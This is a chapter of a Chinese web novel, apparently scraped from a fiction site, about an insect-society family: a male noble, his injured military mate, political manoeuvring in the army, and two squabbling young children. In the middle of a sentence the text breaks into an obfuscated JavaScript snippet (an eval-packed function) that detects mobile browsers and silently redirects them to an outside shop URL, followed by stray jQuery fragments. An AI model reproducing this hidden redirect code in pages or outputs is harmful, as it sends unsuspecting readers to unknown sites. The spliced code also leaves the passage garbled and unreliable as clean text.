文趣网 > 都市小说 > 精明虫带俩老实崽 > 15. 下套
    艾尔墨受伤回了家,军部来了不少人探望。

    卡修斯见到了经常出现在办公室的虫。到这时候,他才知道这虫的名字叫做亚伦,是艾尔墨的副官。

    亚伦探望艾尔墨的时候,他有话想单独和艾尔墨说,卡修斯在这里,他只能闭嘴。

    亚伦为了和艾尔墨说小话,一直在磨叽。

    这雌虫的表情太好懂,或者说是他故意让卡修斯发现。

    卡修斯起身出门,朝艾尔墨道:“我去看看虫崽。”

    离开后,他还贴心地帮他们关上了门。

    亚伦见卡修斯走了,他松了一口气,对艾尔墨道:“长官,莱德殿下让米切尔代替了劳伦斯元帅的位置。你这次回去,不得不站队了。”

    之前劳伦斯不管他们这些中立的人,米切尔一上台,就开始清算他们这些中立的人。

    艾尔墨恰巧受伤,米切尔趁机让其他虫接替了艾尔墨的工作。

    艾尔墨明白,只有他向米切尔投诚,米切尔才会相信他,他才能回到原来的位置。

    他问亚伦:“他对其他虫怎么做的?”

    其他虫,指的就是没向米切尔投诚的虫。

    亚伦回复:“位置还是原来的位置,不过,他们说不上话。”

    意思就是米切尔转移了他们的权力。

    说到这里,亚伦愤愤不平:“莱德殿下到底是怎么回事?边境动乱,在这个时候,他还要收回军部的权力,赶走劳伦斯元帅。”

    艾尔墨让亚伦住嘴,不要随意讨论。

    他想起了一件事,问亚伦:“之前屠杀雄虫的那个头目,莱德殿下还没有处理吗?”

    亚伦点头,“他还在监狱。莱德殿下只是对外宣称了他的死亡。”

    艾尔墨蹙眉,他不明白莱德留着这虫干什么。那虫伤害了这么多雄虫,群众要是发现他没有死,一定会发怒。

    军部现在是米切尔一言堂,艾尔墨没办法,他让亚伦多接近米切尔,表明一下他们的立场。

    和亚伦聊完,艾尔墨沉着脸,不知在想什么。

    卡修斯在外面,动用精神力听得一清二楚。他的小动作坦坦荡荡,所以怪不得他,是艾尔墨没发现他的精神力。

    亚伦离开后,卡修斯卡着时间打开门,若无其事问:“怎么了?是军部发生了什么事了吗?”

    米切尔的事,艾尔墨也不必瞒着卡修斯。卡修斯又听了一遍他们之前的对话。

    不过,艾尔墨没有提出极端分子的事,要是这件事说给雄虫,势必会引起惶恐。

    卡修斯知道他隐瞒了一部分,他在心里轻叹:“自己果然还是不被信任。”

    这也没什么,他不也一直瞒着雌虫他二次觉醒的能力吗?

    关于莱德不放出那个仇恨雄虫的虫,卡修斯倒是猜到了为什么。他暗下眼眸,藏在公爵府的试剂,必须要换个地方。

    卡修斯顺着雌虫的话,说起米切尔的事,听着艾尔墨陈述米切尔的事迹,卡修斯想这么令人讨厌的虫竟然不止一只。

    另一只讨厌的虫,芬恩倒是与他十分适配。

    这么一想,卡修斯脑子突然升起一个念头,他在艾尔墨耳边提议:“你不觉得芬恩和米切尔十分适配吗?米切尔大龄未婚,和芬恩一样。”

    可米切尔和芬恩岁数相差有点大,艾尔墨不赞同。

    卡修斯继续道:“年纪大的会疼人。而且,他们要是成婚了,你在军部就容易多了。”

    艾尔墨倒是不需要为了自己的仕途牺牲自己的家虫。但米切尔总的来说,外貌不错,虽然有家族的助力,但他的能力也还好,只是年龄大了点。

    卡修斯见艾尔墨被说动,他继续加码:“米切尔好像是个贵族虫,贵族虫挺好的。”

    艾尔墨看向面前的贵族雄虫,贵族虫的确挺好的,温和有礼。

    一瞬间,艾尔墨打定主意,他喃喃道:“找个机会认识一下也行。”

    卡修斯见雌虫上套,抑制不住兴奋,亲了雌虫一口。

    艾尔墨一怔,藏在被子里的手微微蜷缩。自从上次吵架和好,雄虫总变得更加温和,他们的感情好像更好了一点。

    两虫的信息素相互交织,艾尔墨感觉自己身上燥热起来,口干舌燥。他拿过一旁的水杯,喝了一口。

    艾尔墨抬头和卡修斯视线相交。他看着雄虫温柔的眉眼,心脏咚咚地跳着。

    他努力忽略卡修斯的脸,低下头,盯着剩下的半杯水。

    果然,有了解渴的水,他又想有一汪清泉。他在心底不断告诫自己,不要那么贪心。

    雌虫本来好好和他说话,突然又低下头不肯看他。卡修斯蹙眉,担心地问:“怎么了?伤口又痛了?”

    艾尔墨回答:“没有,我很好,雄主,路克斯应该饿了,你先去看一下他。”

    他怕卡修斯再不走,他会沉醉在这温柔中。

    的确到了饭点,卡修斯下楼,去照看路克斯。

    下了楼,卡修斯看见路克斯和费尔南德竟然没有黏在一起玩,他们各玩各的,路克斯背对着费尔南德。

    卡修斯坐在垫子上问路克斯:“你们俩怎么了?”

    路克斯用力“哼”了一声,费尔南德听到这一声哼,身子突然僵住了。

    卡修斯笑着道:“怎么,费尔南德惹你不开心了?”

    路克斯点头。

    卡修斯先把路克斯抱到饭桌上,给他系好围裙,让他自己吃饭。

    转身,卡修斯坐在费尔南德旁边,问:“你还好吗?”

    费尔南德再怎么故作成熟镇定,他也是小虫崽,有人关心询问,他鼻子一耸,就要哭。

    卡修斯哄自己的虫崽顺手,哄别家的没什么经验。他用手拍着虫崽的背,硬邦邦的安慰:“不哭不哭。”

    费尔南德挪动自己身体,抱着卡修斯的大手,用他的手背擦眼泪。

    虫崽哭得很伤心,卡修斯幻视之前的路克斯,他抱起费尔南德,拍着他的背。

    好在,费尔南德哭得不是很久。

    卡修斯等他哭完,带着费尔南德回到餐桌,替他系好围裙,把他抱在自己腿上,给他喂饭。

    路克斯听见费尔南德的哭声,本来是心虚的。但看到卡修斯抱着其他虫崽,他心里不自在,眼眶一酸。

    “啪嗒”

    泪水掉落在桌子上,卡修斯转头,见自家虫崽又哭了起来。

    他把费尔南德放在椅子上,起身去抱路克斯。

    手才一碰到路克斯的手臂,路克斯就仰着头,用通红的眼睛看着卡修斯。

    “呜呜……”

    路克斯嘴巴大张着,嘴里还有米饭。上下牙齿拉着丝,哭得又丑又惨。

    卡修斯擦过路克斯的泪水,又手动把他的嘴巴合上,他真怕路克斯哭着哭着把米饭喷出来。

    路克斯一边嚼着嘴里的饭,一边哭着。

    费尔南德好不容易止住了哭声,听见路克斯的哭声,肩膀颤抖,也哭了起来。

    卡修斯一个头两个大。他走向费尔南德,腾出一只手安慰他。

    费尔南德拉着他的手,也不放开。

    两虫崽哭得入迷。卡修斯怕坐在椅子上哭的费尔南德重心不稳,跌下椅子。他腾出一只手,把费尔南德抱在怀里。

    两个肩膀被他们的泪水和口水濡湿,卡修斯从来没有这么狼狈过。

    他发誓,以后他只要一个虫崽就够了。

    在他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930089|213615||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的安慰下,两虫逐渐停下了哭声。只不过,费尔南德哼一声,路克斯就哼一声,两虫像是在比赛一样。

    再这样下去,一晚上也别想停。卡修斯加重语气,“都不许哭了。”

    路克斯和费尔南德止住哭声。

    卡修斯头疼地擦干净他们的小脸,把他们放在椅子上,再次询问:“你们两怎么了?”

    路克斯先说道:“费尔南德他过分,我不想再理他了。”

    费尔南德听到指责,忍不住又“哼哼起来。”

    卡修斯见状,急忙制止路克斯:“好好说。”

    路克斯委屈得眼泪又要溢出来,他解释道:“是费尔南德说不和我玩了。”

    卡修斯今晚只能做个公正的裁判,他问费尔南德:“是真的吗?”

    费尔南德摇头:“才没有。”

    路克斯不服气:“是你说的,你去幼虫园,就要交其他朋友,不和我玩了。”

    费尔南德被指责一通,他依旧好脾气道:“不是的,我是说以后我们长大了,雄虫和雌虫就得分开玩。”

    听到这里,卡修斯也明白了一切。是路克斯误解了。

    路克斯还没形成性别意识,他不明白为什么两虫不能一起玩,如果不一起玩,在他心里,就是不把他当好朋友了。

    卡修斯夹在中间,耐心给路克斯讲明白费尔南德说的意思。

    路克斯终于听懂。不过,他不想和费尔南德分开玩,他问卡修斯:“雄父,我们可以不上幼虫园吗?”

    卡修斯摇头:“这可不行。难不成你不上学不工作,要啃老。”

    路克斯不想上学,也不想工作,他撒娇:“雄父,我要啃老。”

    卡修斯看着扬言要啃老的“大孝虫”,恨铁不成钢地拍了拍他的屁股:“你就只有这点出息了。”

    既然已经说开,卡修斯让路克斯给费尔南德道了歉,两虫崽得以和好。

    卡修斯让虫仆热好晚餐,又监督两虫崽吃完,已经到了深夜。

    下了餐桌,路克斯打着哈欠:“雄父,我想看看雌父。”

    已经很晚了,卡修斯让路克斯去睡觉。路克斯不愿意,拉着卡修斯的裤腿,非要跟在他身后。

    费尔南德本想睡觉,路克斯不睡,他也跟了上去。

    卡修斯只好抱着两个虫,来到了卧室。

    艾尔墨吃完饭和药,已经去睡了。

    卡修斯让两虫崽小声点,抱到床边,让他们看了眼。

    路克斯在看着熟睡的艾尔墨,小声道:“雌父晚安。”

    艾尔墨听到熟悉的声音,渐渐醒了过来。他睁开眼,看见了带着困意的虫崽。

    雌虫已经醒了过来,卡修斯把路克斯放在艾尔墨的旁边,让他们说说话。

    路克斯爬到艾尔墨手边,问带着倦意的艾尔墨:“雌父还难受吗?”

    艾尔墨亲了口路克斯的额头,“不难受了。”

    细心的雌虫发现路克斯的眼圈红红的,他问:“这是怎么了。”

    卡修斯坐在床边,抱着昏昏欲睡的费尔南德,把事情的经过告诉了艾尔墨,之后补充道:“不过现在和好了。”

    艾尔墨捏着路克斯的鼻子,“小傻虫。”

    路克斯愤愤地鼻孔出气:“才不是。”

    两个虫崽太困了,艾尔墨和他们说了几句,就让卡修斯把它们抱到了隔壁房间。

    卡修斯回到卧室,雄虫长得高,离灯光近。他看着卡修斯肩膀上湿润的地方,忍不住道:“路克斯的眼泪真多。”

    卡修斯摇头,“不止是路克斯在哭,费尔南德也在哭。”

    停顿了一下,卡修斯略带嫌弃地继续说道:“上面还有他们的口水。”